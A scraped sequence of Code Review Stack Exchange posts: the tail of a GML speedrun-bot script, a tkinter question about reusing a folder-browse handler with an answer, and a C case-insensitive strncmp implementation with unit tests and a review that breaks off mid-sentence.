} else if (point_distance(obj_linkplayer.x, obj_linkplayer.y, obj_ivyboss.x, obj_ivyboss.y) < 18)
{
keyboard_key_release(vk_up);
scr_tas_keyboard_key_press(vk_down);
} else
{
keyboard_key_release(vk_up);
keyboard_key_release(vk_down);
}
} else if (instance_number(chariboss) == 1)
{
if (keyboard_check_pressed(vk_control))
keyboard_key_release(vk_control);
if (a == 0 && (obj_linkplayer.ataktipe == 0) && (obj_linkplayer.atak == 0))
{
scr_tas_keyboard_key_press(ord('H'));
a = 1;
} else if (a == 1 && keyboard_check(ord('H')) && !keyboard_check_pressed(ord('H')))
{
keyboard_key_release(ord('H'));
a = 0;
}
if (chariboss.rochering == 0)
scr_rotate_camera_to_dir(chariboss.x, chariboss.y);
else
scr_rotate_camera_to_dir(368, 240);
scr_tas_keyboard_key_press(vk_up);
if (obj_linkplayer.cantchose == 0)
scr_tas_keyboard_key_press(vk_space);
else
keyboard_key_release(vk_space);
} else
{
if (obj_medaillon6.use == 0)
scr_rotate_camera_to_dir(obj_medaillon6.x, obj_medaillon6.y);
else
scr_tas_keyboard_key_press(vk_space);
if (point_distance(obj_linkplayer.x, obj_linkplayer.y, obj_medaillon6.x, obj_medaillon6.y) < 18)
keyboard_key_release(vk_space);
scr_tas_keyboard_key_press(vk_up);
}
}
scr_tas_room227()
{
if (internal_room != room227)
internal_room = room227;
scr_tas_keyboard_key_press(vk_space);
}
scr_tas_room228()
{
if (internal_room != room228)
internal_room = room228;
scr_tas_keyboard_key_press(vk_enter);
}
scr_tas_room229()
{
if (internal_room != room229)
internal_room = room229;
scr_tas_keyboard_key_press(vk_up);
scr_tas_keyboard_key_press(vk_space);
if (obj_linkplayer.weapon == 0 && instance_number(obj_xhampded) == 0)
{
keyboard_key_release(vk_control);
scr_rotate_camera_to_dir(256, 848);
} else if (obj_linkplayer.weapon != 8)
{
keyboard_key_release(vk_control);
scr_rotate_camera_to_dir(992, 448);
} else
{
scr_rotate_camera_to_dir(640, 432);
if (obj_linkplayer.x < 824)
scr_tas_keyboard_key_press(vk_control);
}
}
scr_tas_room230()
{
show_message(string(frame_timer));
game_end();
}
scr_tas_main()
{
if (room == room2)
scr_tas_room2();
else if (room == room50)
scr_tas_room50();
else if (room == pause77)
scr_tas_pause77();
else if (room == room1)
scr_tas_room1();
else if (room == room3)
scr_tas_room3();
else if (room == room_alien)
scr_tas_room_alien();
else if (room == room5)
scr_tas_room5();
else if (room == room_start)
scr_tas_room_start();
else if (room == room7)
scr_tas_room7();
else if (room == room8)
scr_tas_room8();
else if (room == room9)
scr_tas_room9();
else if (room == room10)
scr_tas_room10();
else if (room == room12)
scr_tas_room12();
else if (room == room43)
scr_tas_room43()
else if (room == room_world11)
scr_tas_room_world11();
else if (room == room105)
scr_tas_room105();
else if (room == gameover138)
scr_tas_gameover138();
else if (room == stage4_69)
scr_tas_stage4_69();
else if (room == room36)
scr_tas_room36();
else if (room == room83)
scr_tas_room83();
else if (room == room79)
scr_tas_room79();
else if (room == room120)
scr_tas_room120();
else if (room == room121)
scr_tas_room121();
else if (room == room123)
scr_tas_room123();
else if (room == room124)
scr_tas_room124();
else if (room == room125)
scr_tas_room125();
else if (room == room126)
scr_tas_room126();
else if (room == room127)
scr_tas_room127();
else if (room == room129)
scr_tas_room129();
else if (room == test_128)
scr_tas_test_128();
else if (room == room192)
scr_tas_room192();
else if (room == room193)
scr_tas_room193();
else if (room == room194)
scr_tas_room194();
else if (room == room196)
scr_tas_room196();
else if (room == room197)
scr_tas_room197();
else if (room == room198)
scr_tas_room198();
else if (room == room199)
scr_tas_room199();
else if (room == room200)
scr_tas_room200();
else if (room == room201)
scr_tas_room201();
else if (room == arwingbug85)
scr_tas_arwingbug85();
else if (room == room141)
scr_tas_room141();
else if (room == room142)
scr_tas_room142();
else if (room == room143)
scr_tas_room143();
else if (room == room144)
scr_tas_room144();
else if (room == room145)
scr_tas_room145();
else if (room == room146)
scr_tas_room146();
else if (room == room147)
scr_tas_room147();
else if (room == room148)
scr_tas_room148();
else if (room == room149)
scr_tas_room149();
else if (room == room150)
scr_tas_room150();
else if (room == room_pipebug100)
scr_tas_room_pipebug100();
else if (room == room15)
scr_tas_room15();
else if (room == room16)
scr_tas_room16();
else if (room == room160)
scr_tas_room160();
else if (room == room161)
scr_tas_room161();
else if (room == room164)
scr_tas_room164();
else if (room == room165)
scr_tas_room165();
else if (room == room166)
scr_tas_room166();
else if (room == room168)
scr_tas_room168();
else if (room == room207)
scr_tas_room207();
else if (room == room208)
scr_tas_room208();
else if (room == room221)
scr_tas_room221();
else if (room == room222)
scr_tas_room222();
else if (room == room223)
scr_tas_room223();
else if (room == room225)
scr_tas_room225();
else if (room == room226)
scr_tas_room226();
else if (room == room227)
scr_tas_room227();
else if (room == room228)
scr_tas_room228();
else if (room == room229)
scr_tas_room229();
else if (room == room230)
scr_tas_room230();
frame_timer += 600/room_speed;
}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T19:53:44.747",
"Id": "255339",
"Score": "0",
"Tags": [
"performance",
"gml"
],
"Title": "Nintendo Nightmare [any%] Speedrun Bot (17:37)"
}
|
255339
|
<p>I'm trying to devise a tkinter gui, that, among others, lets users choose a 'working folder' and a 'destination folder (and there is more coming). I stripped the code to its bare functionality hereunder.</p>
<p>I found myself duplicating code for the selection of both the 'working folder' and the 'destination' folder. I came up with the solution to put these variables in a dictionary (I could pass them as mutable objects along with the lambda). Although it is a working solution, I have the feeling there is more standard way of achieving this objective.</p>
<p>My question therefore is: how can I make my <code>_browsefile()</code> function work whilst changing the value of <code>self.working_dir</code> and <code>self.destination_dir</code>, without using an artificial dictionary structure, hence avoiding duplicate code? This would implicate that I can generalize the <code>_browsefile</code> func somehow.</p>
<p>I have seen very advanced reusage features in text books, but currently this is out of my league. If I can learn to tackle this 'easy' one, it would possibly help me on my journey.</p>
<p>Thank you for giving me advice in doing it the Pythonic way...</p>
<pre><code>import tkinter as tk
from tkinter import filedialog
class View():
def __init__(self, parent):
self.parent = parent
self.gui_variables = {'working dir': '',
'destination dir': ''}
self.menu()
def menu(self):
self.folder_button1 = tk.Button(self.parent, text="Choose Working Folder",
command=lambda: self._browsefile(self.gui_variables['working dir']))
self.folder_button1.pack()
self.folder_button2 = tk.Button(self.parent, text="Choose Dest. Folder",
command=lambda: self._browsefile(self.gui_variables['destination dir']))
self.folder_button2.pack()
def _browsefile(self, directory):
answer = tk.filedialog.askdirectory()
self.gui_variables[directory] = answer
if __name__ == '__main__':
root = tk.Tk()
View(root)
root.mainloop()
</code></pre>
|
[] |
[
{
"body": "<p>Don't use a dictionary. You can just refer to the attrs of a class by their name. Something like:</p>\n<pre><code>import tkinter as tk\nfrom tkinter import filedialog\nfrom typing import Optional\n\n\nclass View:\n def __init__(self, parent: tk.Tk):\n self.parent = parent\n self.working_dir: Optional[str] = None\n self.dest_dir: Optional[str] = None\n\n self.menu('Working', 'working_dir')\n self.menu('Dest.', 'dest_dir')\n\n def menu(self, title: str, attr: str):\n def browse():\n setattr(self, attr, tk.filedialog.askdirectory())\n\n button = tk.Button(\n self.parent,\n text=f'Choose {title} Folder',\n command=browse,\n )\n button.pack()\n\n\nif __name__ == '__main__':\n root = tk.Tk()\n View(root)\n root.mainloop()\n</code></pre>\n<p>Notes:</p>\n<ul>\n<li>Do not add a <code>()</code> suffix to your class</li>\n<li>Do not assign those buttons as members on your class</li>\n<li>Centralize the creation of the buttons and the associated command</li>\n<li>For the command handler, use a simple closure</li>\n<li>To target a specific member variable, accept a parameter that's used with <code>setattr</code></li>\n<li>Use type hints</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T10:40:01.590",
"Id": "503818",
"Score": "0",
"body": "Thank you for reviewing my code and for the additional advice."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T22:36:53.123",
"Id": "504082",
"Score": "0",
"body": "What's wrong with using `()` ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T23:38:36.083",
"Id": "504088",
"Score": "1",
"body": "@CoolCloud it's a Python 2 construct, not needed these days"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T05:35:25.770",
"Id": "504103",
"Score": "0",
"body": "@Reinderien Oh okay, thanks for replying."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T04:50:27.143",
"Id": "255353",
"ParentId": "255343",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T22:01:41.720",
"Id": "255343",
"Score": "2",
"Tags": [
"python",
"tkinter"
],
"Title": "Avoiding redundant code using tkinter"
}
|
255343
|
<p>Here's what I came up with. What improvements might I make? <strong>All I want you to look at is the <code>strncmpci()</code> function--nothing else for improvements.</strong> Note that I want readable and maintainable code, NOT optimized code which is impossible to read.</p>
<p>Goals:</p>
<ol>
<li>bug-free (does what it says it does, and does it well)</li>
<li>handles potential edge and corner cases and other pitfalls</li>
<li>avoids undefined behavior</li>
<li>readable</li>
<li>fast</li>
<li>(Added late, but intended this all along) runs properly and well on 8-bit mcus as well as on modern 64-bit computers and operating systems; the goal is to have one version of this function I can use anywhere I need it instead of having to think about it and rewrite it each time.</li>
<li>low-memory footprint in RAM (ie: can easily run on an 8-bit microcontroller, such as Arduino)</li>
<li>low-memory footprint in program space (ie: can easily be stored on an 8-bit microcontroller, such as Arduino)</li>
<li>doesn't need to handle UTF-8 (but if you want to provide an implementation that does, that would be awesome; if you do provide a UTF-8 implementation it does not have to be able to run on a microcontroller)</li>
<li>I wrote this in C, but if C++ provides some handy libraries that makes this easier or UTF-8 possible you may present them as an alternative</li>
</ol>
<p>From: <a href="https://stackoverflow.com/questions/5820810/case-insensitive-string-comp-in-c/55293507#55293507">https://stackoverflow.com/questions/5820810/case-insensitive-string-comp-in-c/55293507#55293507</a></p>
<h2>This is a direct drop-in replacement for <a href="http://www.cplusplus.com/reference/cstring/strncmp/" rel="nofollow noreferrer"><code>strncmp()</code></a>, and has been tested with numerous test cases, as shown below.</h2>
<p>It is identical to <code>strncmp()</code> except:</p>
<ol>
<li>It is case-insensitive.</li>
<li>The behavior is NOT undefined (it is well-defined) if either string is a null ptr. Regular <code>strncmp()</code> has undefined behavior if either string is a null ptr (see: <a href="https://en.cppreference.com/w/cpp/string/byte/strncmp" rel="nofollow noreferrer">https://en.cppreference.com/w/cpp/string/byte/strncmp</a>).</li>
<li>It returns <code>INT_MIN</code> as a special sentinel error value if either input string is a <code>NULL</code> ptr.</li>
</ol>
<p><em>LIMITATIONS: Note that this code works on the original <a href="https://en.wikipedia.org/wiki/ASCII#Printable_characters" rel="nofollow noreferrer">7-bit ASCII character set only</a> (decimal values 0 to 127, inclusive), NOT on <a href="https://en.wikipedia.org/wiki/Unicode" rel="nofollow noreferrer">unicode</a> characters, such as unicode character encodings <a href="https://en.wikipedia.org/wiki/UTF-8" rel="nofollow noreferrer">UTF-8</a> (the most popular), <a href="https://en.wikipedia.org/wiki/UTF-16" rel="nofollow noreferrer">UTF-16</a>, and <a href="https://en.wikipedia.org/wiki/UTF-32" rel="nofollow noreferrer">UTF-32</a>.</em></p>
<p><strong>Here is the code only (no comments):</strong></p>
<pre><code>int strncmpci(const char * str1, const char * str2, size_t num)
{
int ret_code = 0;
size_t chars_compared = 0;
if (!str1 || !str2)
{
ret_code = INT_MIN;
return ret_code;
}
while ((chars_compared < num) && (*str1 || *str2))
{
ret_code = tolower((int)(*str1)) - tolower((int)(*str2));
if (ret_code != 0)
{
break;
}
chars_compared++;
str1++;
str2++;
}
return ret_code;
}
</code></pre>
<p><strong>Fully-commented version:</strong></p>
<pre><code>/// \brief Perform a case-insensitive string compare (`strncmp()` case-insensitive) to see
/// if two C-strings are equal.
/// \note 1. Identical to `strncmp()` except:
/// 1. It is case-insensitive.
/// 2. The behavior is NOT undefined (it is well-defined) if either string is a null
/// ptr. Regular `strncmp()` has undefined behavior if either string is a null ptr
/// (see: https://en.cppreference.com/w/cpp/string/byte/strncmp).
/// 3. It returns `INT_MIN` as a special sentinel value for certain errors.
/// - Posted as an answer here: https://stackoverflow.com/a/55293507/4561887.
/// - Aided/inspired, in part, by `strcicmp()` here:
/// https://stackoverflow.com/a/5820991/4561887.
/// \param[in] str1 C string 1 to be compared.
/// \param[in] str2 C string 2 to be compared.
/// \param[in] num max number of chars to compare
/// \return A comparison code (identical to `strncmp()`, except with the addition
/// of `INT_MIN` as a special sentinel value):
///
/// INT_MIN (usually -2147483648 for int32_t integers) Invalid arguments (one or both
/// of the input strings is a NULL pointer).
/// <0 The first character that does not match has a lower value in str1 than
/// in str2.
/// 0 The contents of both strings are equal.
/// >0 The first character that does not match has a greater value in str1 than
/// in str2.
int strncmpci(const char * str1, const char * str2, size_t num)
{
int ret_code = 0;
size_t chars_compared = 0;
// Check for NULL pointers
if (!str1 || !str2)
{
ret_code = INT_MIN;
return ret_code;
}
// Continue doing case-insensitive comparisons, one-character-at-a-time, of `str1` to `str2`, so
// long as 1st: we have not yet compared the requested number of chars, and 2nd: the next char
// of at least *one* of the strings is not zero (the null terminator for a C-string), meaning
// that string still has more characters in it.
// Note: you MUST check `(chars_compared < num)` FIRST or else dereferencing (reading) `str1` or
// `str2` via `*str1` and `*str2`, respectively, is undefined behavior if you are reading one or
// both of these C-strings outside of their array bounds.
while ((chars_compared < num) && (*str1 || *str2))
{
ret_code = tolower((int)(*str1)) - tolower((int)(*str2));
if (ret_code != 0)
{
// The 2 chars just compared don't match
break;
}
chars_compared++;
str1++;
str2++;
}
return ret_code;
}
</code></pre>
<h2>Test code:</h2>
<p>Download the entire sample code, with unit tests, from my <a href="https://github.com/ElectricRCAircraftGuy/eRCaGuy_hello_world" rel="nofollow noreferrer">eRCaGuy_hello_world</a> repository here: "<a href="https://github.com/ElectricRCAircraftGuy/eRCaGuy_hello_world/blob/master/c/strncmpci.c" rel="nofollow noreferrer">strncmpci.c"</a>:</p>
<pre><code>
// This file is part of eRCaGuy_hello_world: https://github.com/ElectricRCAircraftGuy/eRCaGuy_hello_world
/*
strncmpci.c
- A 'c'ase 'i'nsensitive version of `strncmp()`.
- See references below for more info., including documentation for `strncmp()`, as well as my
Stack Overflow answer where I present my `strncmpci()` function below.
Gabriel Staples
www.ElectricRCAircraftGuy.com
Written: 21 Mar. 2019
Updated: 21 Oct. 2020
- moved to this git repo; see `git log` history after that
To compile and run:
gcc -Wall -Wextra -Werror -ggdb -std=c11 -o ./bin/tmp strncmpci.c && ./bin/tmp
References:
1. [my own answer] https://stackoverflow.com/questions/5820810/case-insensitive-string-comp-in-c/55293507#55293507
2. https://en.cppreference.com/w/cpp/string/byte/strncmp
3. http://www.cplusplus.com/reference/cstring/strncmp/
STATUS:
IT WORKS! ALL UNIT TESTS PASS!
*/
#include <assert.h>
#include <stdbool.h>
#include <ctype.h> // for `tolower()`
#include <limits.h> // for `INT_MIN`
#include <stdio.h>
#include <string.h>
// For ANSI color codes in a terminal, see my notes to self in my file here:
// https://github.com/ElectricRCAircraftGuy/eRCaGuy_dotfiles/blob/master/useful_scripts/git-diffn.sh
#define ANSI_COLOR_OFF "\033[m"
#define ANSI_COLOR_GRN "\033[32m"
#define ANSI_COLOR_RED "\033[31m"
typedef struct data_s
{
int error_count;
} data_t;
// Data struct used to safely contain and pass around global data
data_t globals = {
.error_count = 0,
};
// TODO: Make a version of this code which also works on Unicode's UTF-8 implementation (character
// encoding)! Add it to my answer here too: https://stackoverflow.com/a/55293507/4561887.
/// \brief Perform a case-insensitive string compare (`strncmp()` case-insensitive) to see
/// if two C-strings are equal.
/// \note 1. Identical to `strncmp()` except:
/// 1. It is case-insensitive.
/// 2. The behavior is NOT undefined (it is well-defined) if either string is a null
/// ptr. Regular `strncmp()` has undefined behavior if either string is a null ptr
/// (see: https://en.cppreference.com/w/cpp/string/byte/strncmp).
/// 3. It returns `INT_MIN` as a special sentinel value for certain errors.
/// - Posted as an answer here: https://stackoverflow.com/a/55293507/4561887.
/// - Aided/inspired, in part, by `strcicmp()` here:
/// https://stackoverflow.com/a/5820991/4561887.
/// \param[in] str1 C string 1 to be compared.
/// \param[in] str2 C string 2 to be compared.
/// \param[in] num max number of chars to compare
/// \return A comparison code (identical to `strncmp()`, except with the addition
/// of `INT_MIN` as a special sentinel value):
///
/// INT_MIN (usually -2147483648 for int32_t integers) Invalid arguments (one or both
/// of the input strings is a NULL pointer).
/// <0 The first character that does not match has a lower value in str1 than
/// in str2.
/// 0 The contents of both strings are equal.
/// >0 The first character that does not match has a greater value in str1 than
/// in str2.
int strncmpci(const char * str1, const char * str2, size_t num)
{
int ret_code = 0;
size_t chars_compared = 0;
// Check for NULL pointers
if (!str1 || !str2)
{
ret_code = INT_MIN;
return ret_code;
}
// Continue doing case-insensitive comparisons, one-character-at-a-time, of `str1` to `str2`,
// as long as at least one of the strings still has more characters in it, and we have
// not yet compared `num` chars.
while ((*str1 || *str2) && (chars_compared < num))
{
ret_code = tolower((int)(*str1)) - tolower((int)(*str2));
if (ret_code != 0)
{
// The 2 chars just compared don't match
break;
}
chars_compared++;
str1++;
str2++;
}
return ret_code;
}
// VERSION **WITH** GOTO. This is perfectly valid and safe usage of `goto`, but some people
// may have a problem with it, and it's suuuuper easy to avoid in this simple example code,
// so let's remove it for the main version above but leave it for this version below.
/// \brief Perform a case-insensitive string compare (`strncmp()` case-insensitive) to see
/// if two C-strings are equal.
/// \note 1. Identical to `strncmp()` except:
/// 1. It is case-insensitive.
/// 2. The behavior is NOT undefined (it is well-defined) if either string is a null
/// ptr. Regular `strncmp()` has undefined behavior if either string is a null ptr
/// (see: https://en.cppreference.com/w/cpp/string/byte/strncmp).
/// 3. It returns `INT_MIN` as a special sentinel value for certain errors.
/// - Posted as an answer here: https://stackoverflow.com/a/55293507/4561887.
/// - Aided/inspired, in part, by `strcicmp()` here:
/// https://stackoverflow.com/a/5820991/4561887.
/// \param[in] str1 C string 1 to be compared.
/// \param[in] str2 C string 2 to be compared.
/// \param[in] num max number of chars to compare
/// \return A comparison code (identical to `strncmp()`, except with the addition
/// of `INT_MIN` as a special sentinel value):
///
/// INT_MIN (usually -2147483648 for int32_t integers) Invalid arguments (one or both
/// of the input strings is a NULL pointer).
/// <0 The first character that does not match has a lower value in str1 than
/// in str2.
/// 0 The contents of both strings are equal.
/// >0 The first character that does not match has a greater value in str1 than
/// in str2.
int strncmpci2(const char * str1, const char * str2, size_t num)
{
int ret_code = 0;
size_t chars_compared = 0;
// Check for NULL pointers
if (!str1 || !str2)
{
ret_code = INT_MIN;
goto done;
}
// Continue doing case-insensitive comparisons, one-character-at-a-time, of `str1` to `str2`,
// as long as at least one of the strings still has more characters in it, and we have
// not yet compared `num` chars.
while ((*str1 || *str2) && (chars_compared < num))
{
ret_code = tolower((int)(*str1)) - tolower((int)(*str2));
if (ret_code != 0)
{
// The 2 chars just compared don't match
break;
}
chars_compared++;
str1++;
str2++;
}
done:
return ret_code;
}
// TODO: ADD IN Unit tests to test this function too! Ex: `EXPECT_EQUALS(strcicmp(str1, str2), 0);`
// /// \brief Alternative approach to test and compare results from.
// /// \note Copied directly from here:
// /// https://stackoverflow.com/questions/5820810/case-insensitive-string-comp-in-c/5820991#5820991
// int strcicmp(char const *a, char const *b)
// {
// for (;; a++, b++) {
// int d = tolower((unsigned char)*a) - tolower((unsigned char)*b);
// if (d != 0 || !*a)
// return d;
// }
// }
/// \brief Wrapper around the below unit test function.
/// \details Sample usage:
/// EXPECT_EQUALS(strncmpci(str1, str2, n), 1);
/// Sample output:
/// FAILED at line 173 in function main! strncmpci(str1, str2, n) != 1
/// a: strncmpci(str1, str2, n) is 0
/// b: 1 is 1
#define EXPECT_EQUALS(int_a, int_b) \
do { \
expect_equals(int_a, int_b, &globals.error_count, #int_a, #int_b, __LINE__, __func__); \
} while (false)
/// \brief Perform a simple unit test to see if int a == int b.
/// \param[in] a the first integer to compare
/// \param[in] b the second integer to compare
/// \param[in,out] error_count (Optional) a total error counter which will be incremented in the
/// event a != b. Pass in NULL to not use.
/// \param[in] a_str (Optional) a string to print to represent what was passed in for
/// `a`. Pass in NULL to not use.
/// \param[in] b_str (Optional) a string to print to represent what was passed in for
/// `b`. Pass in NULL to not use.
/// \param[in] line The line number of the call site; pass in `__LINE__`. See:
/// https://gcc.gnu.org/onlinedocs/cpp/Standard-Predefined-Macros.html.
/// \param[in] func The function of the call site; pass in `__func__`. See:
/// https://gcc.gnu.org/onlinedocs/gcc/Function-Names.html.
/// \return true if a == b, and false otherwise
bool expect_equals(int a, int b, int * error_count, char * a_str, char * b_str, int line,
const char * func)
{
if (a == b)
{
return true;
}
if (error_count != NULL)
{
(*error_count)++;
}
if (a_str == NULL || b_str == NULL)
{
printf("FAILED at line %i in function %s! a != b\n"
" a is %i\n"
" b is %i\n\n",
line, func, a, b);
}
else
{
// both a_str and b_str are NOT null ptrs
printf("FAILED at line %i in function %s! %s != %s\n"
" a: %s is %i\n"
" b: %s is %i\n\n",
line, func, a_str, b_str, a_str, a, b_str, b);
}
return false;
}
int main()
{
printf("-----------------------\n"
"String Comparison Tests\n"
"-----------------------\n\n");
int num_failures_expected = 0;
printf("INTENTIONAL UNIT TEST FAILURE to show what a unit test failure looks like!\n");
EXPECT_EQUALS(strncmpci("hey", "HEY", 3), 'h' - 'H');
num_failures_expected++;
printf("------ beginning ------\n\n");
const char * str1;
const char * str2;
size_t n;
// NULL ptr checks
EXPECT_EQUALS(strncmpci(NULL, "", 0), INT_MIN);
EXPECT_EQUALS(strncmpci("", NULL, 0), INT_MIN);
EXPECT_EQUALS(strncmpci(NULL, NULL, 0), INT_MIN);
EXPECT_EQUALS(strncmpci(NULL, "", 10), INT_MIN);
EXPECT_EQUALS(strncmpci("", NULL, 10), INT_MIN);
EXPECT_EQUALS(strncmpci(NULL, NULL, 10), INT_MIN);
EXPECT_EQUALS(strncmpci("", "", 0), 0);
EXPECT_EQUALS(strncmp("", "", 0), 0);
str1 = "";
str2 = "";
n = 0;
EXPECT_EQUALS(strncmpci(str1, str2, n), 0);
EXPECT_EQUALS(strncmp(str1, str2, n), 0);
str1 = "hey";
str2 = "HEY";
n = 0;
EXPECT_EQUALS(strncmpci(str1, str2, n), 0);
EXPECT_EQUALS(strncmp(str1, str2, n), 0);
str1 = "hey";
str2 = "HEY";
n = 3;
EXPECT_EQUALS(strncmpci(str1, str2, n), 0);
EXPECT_EQUALS(strncmp(str1, str2, n), 'h' - 'H');
str1 = "heY";
str2 = "HeY";
n = 3;
EXPECT_EQUALS(strncmpci(str1, str2, n), 0);
EXPECT_EQUALS(strncmp(str1, str2, n), 'h' - 'H');
str1 = "hey";
str2 = "HEdY";
n = 3;
EXPECT_EQUALS(strncmpci(str1, str2, n), 'y' - 'd');
EXPECT_EQUALS(strncmp(str1, str2, n), 'h' - 'H');
str1 = "heY";
str2 = "hEYd";
n = 3;
EXPECT_EQUALS(strncmpci(str1, str2, n), 0);
EXPECT_EQUALS(strncmp(str1, str2, n), 'e' - 'E');
str1 = "heY";
str2 = "heyd";
n = 6;
EXPECT_EQUALS(strncmpci(str1, str2, n), -'d');
EXPECT_EQUALS(strncmp(str1, str2, n), 'Y' - 'y');
str1 = "hey";
str2 = "hey";
n = 6;
EXPECT_EQUALS(strncmpci(str1, str2, n), 0);
EXPECT_EQUALS(strncmp(str1, str2, n), 0);
str1 = "hey";
str2 = "heyd";
n = 6;
EXPECT_EQUALS(strncmpci(str1, str2, n), -'d');
EXPECT_EQUALS(strncmp(str1, str2, n), -'d');
str1 = "hey";
str2 = "heyd";
n = 3;
EXPECT_EQUALS(strncmpci(str1, str2, n), 0);
EXPECT_EQUALS(strncmp(str1, str2, n), 0);
str1 = "hEY";
str2 = "heyYOU";
n = 3;
EXPECT_EQUALS(strncmpci(str1, str2, n), 0);
EXPECT_EQUALS(strncmp(str1, str2, n), 'E' - 'e');
str1 = "hEY";
str2 = "heyYOU";
n = 10;
EXPECT_EQUALS(strncmpci(str1, str2, n), -'y');
EXPECT_EQUALS(strncmp(str1, str2, n), 'E' - 'e');
str1 = "hEYHowAre";
str2 = "heyYOU";
n = 10;
EXPECT_EQUALS(strncmpci(str1, str2, n), 'h' - 'y');
EXPECT_EQUALS(strncmp(str1, str2, n), 'E' - 'e');
EXPECT_EQUALS(strncmpci("nice to meet you.,;", "NICE TO MEET YOU.,;", 100), 0);
EXPECT_EQUALS(strncmp( "nice to meet you.,;", "NICE TO MEET YOU.,;", 100), 'n' - 'N');
EXPECT_EQUALS(strncmp( "nice to meet you.,;", "nice to meet you.,;", 100), 0);
EXPECT_EQUALS(strncmpci("nice to meet you.,;", "NICE TO UEET YOU.,;", 100), 'm' - 'u');
EXPECT_EQUALS(strncmp( "nice to meet you.,;", "nice to uEET YOU.,;", 100), 'm' - 'u');
EXPECT_EQUALS(strncmp( "nice to meet you.,;", "nice to UEET YOU.,;", 100), 'm' - 'U');
EXPECT_EQUALS(strncmpci("nice to meet you.,;", "NICE TO MEET YOU.,;", 5), 0);
EXPECT_EQUALS(strncmp( "nice to meet you.,;", "NICE TO MEET YOU.,;", 5), 'n' - 'N');
EXPECT_EQUALS(strncmpci("nice to meet you.,;", "NICE eo UEET YOU.,;", 5), 0);
EXPECT_EQUALS(strncmp( "nice to meet you.,;", "nice eo uEET YOU.,;", 5), 0);
EXPECT_EQUALS(strncmpci("nice to meet you.,;", "NICE eo UEET YOU.,;", 100), 't' - 'e');
EXPECT_EQUALS(strncmp( "nice to meet you.,;", "nice eo uEET YOU.,;", 100), 't' - 'e');
EXPECT_EQUALS(strncmpci("nice to meet you.,;", "nice-eo UEET YOU.,;", 5), ' ' - '-');
EXPECT_EQUALS(strncmp( "nice to meet you.,;", "nice-eo UEET YOU.,;", 5), ' ' - '-');
if (globals.error_count == num_failures_expected)
{
printf(ANSI_COLOR_GRN "All unit tests passed!" ANSI_COLOR_OFF "\n");
}
else
{
printf(ANSI_COLOR_RED "FAILED UNIT TESTS! NUMBER OF UNEXPECTED FAILURES = %i"
ANSI_COLOR_OFF "\n", globals.error_count - num_failures_expected);
}
assert(globals.error_count == num_failures_expected);
return globals.error_count;
}
/*
Sample output:
$ gcc -Wall -Wextra -Werror -ggdb -std=c11 -o ./bin/tmp strncmpci.c && ./bin/tmp
-----------------------
String Comparison Tests
-----------------------
INTENTIONAL UNIT TEST FAILURE to show what a unit test failure looks like!
FAILED at line 191 in function main! strncmpci("hey", "HEY", 3) != 'h' - 'H'
a: strncmpci("hey", "HEY", 3) is 0
b: 'h' - 'H' is 32
------ beginning ------
All unit tests passed!
*/
</code></pre>
<h2>Sample output:</h2>
<blockquote>
<pre><code>$ gcc -Wall -Wextra -Werror -ggdb -std=c11 -o ./bin/tmp strncmpci.c && ./bin/tmp
-----------------------
String Comparison Tests
-----------------------
INTENTIONAL UNIT TEST FAILURE to show what a unit test failure looks like!
FAILED at line 250 in function main! strncmpci("hey", "HEY", 3) != 'h' - 'H'
a: strncmpci("hey", "HEY", 3) is 0
b: 'h' - 'H' is 32
------ beginning ------
All unit tests passed!
</code></pre>
</blockquote>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T04:32:19.100",
"Id": "503807",
"Score": "1",
"body": "_nothing else for improvements_ is somewhat antithetical to this site. When code is posted, all feedback is on topic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T04:33:12.093",
"Id": "503808",
"Score": "0",
"body": "@Reinderien, yeah, that's fine. I don't mean people can't improve the other parts, I just mean the other parts are not the focus of my question so I'm not requesting people try to improve them."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:30:17.583",
"Id": "503828",
"Score": "1",
"body": "@Reinderien \"all feedback is on topic\" is not the issue as much as how _relevant_ it is to the [question](https://codereview.stackexchange.com/help/how-to-ask) and OP's goals. Code Review encourages focus. For OP to say here \"look at is the strncmpci() function--nothing else for improvements.\" simply implies feedback on the other code is not the main concern - but there for (test) convivence. Sure we could comment about `int main()` vs. `int main(void)`, but distracts from a good answer. OTOH pointing out a weakness in tests that did not expose a problem in `strncmpci()` certainly is good."
}
] |
[
{
"body": "<blockquote>\n<p>What improvements might I make?</p>\n</blockquote>\n<p><strong>Compare with to lower or to upper?</strong></p>\n<p><code>int strncmpci()</code> deserves documentation indicating its choice in the comments above <code>int strncmpci(...)</code>.</p>\n<p>Characters like <code>'_'</code>, In ASCII, exist between the upper and lower case letters. Sorting text with <code>"[]^_"</code> and others come before or after <code>A-Z</code> depending on which is used.</p>\n<p>Note that together with letters outside the ASCII range, letters may not have a one-to-one mapping between upper and lower case. This creates situations where 2 strings compare equal when folded to lower case but not when folded to upper case - and visa-versa. I suspect OP is indifferent to these cases, so will no go further.</p>\n<p><strong>No need to check both <code>*str1, *str2</code></strong></p>\n<p>Testing for a mis-match and only one string's <em>null character</em> is sufficient - unless you are concerned that the lower case version of some other character is also the <em>null character</em>.</p>\n<p><strong>Questionable cast</strong></p>\n<p>I see little value to the <code>(int)</code> cast and see value in other approaches.</p>\n<p>When <code>char</code> is <em>signed</em>, <code>tolower((int)(*str1))</code> is UB when <code>*str1 < 0</code> and not <code>EOF</code>.</p>\n<p>C specifies</p>\n<blockquote>\n<p>In all cases the argument is an <code>int</code>, the value of which shall be representable as an <code>unsigned char</code> or shall equal the value of the macro <code>EOF</code>. If the argument has any other value, the behavior is undefined. C17dr § 7.4.1 1</p>\n</blockquote>\n<p>This is very simply to meet by using <code>unsigned char 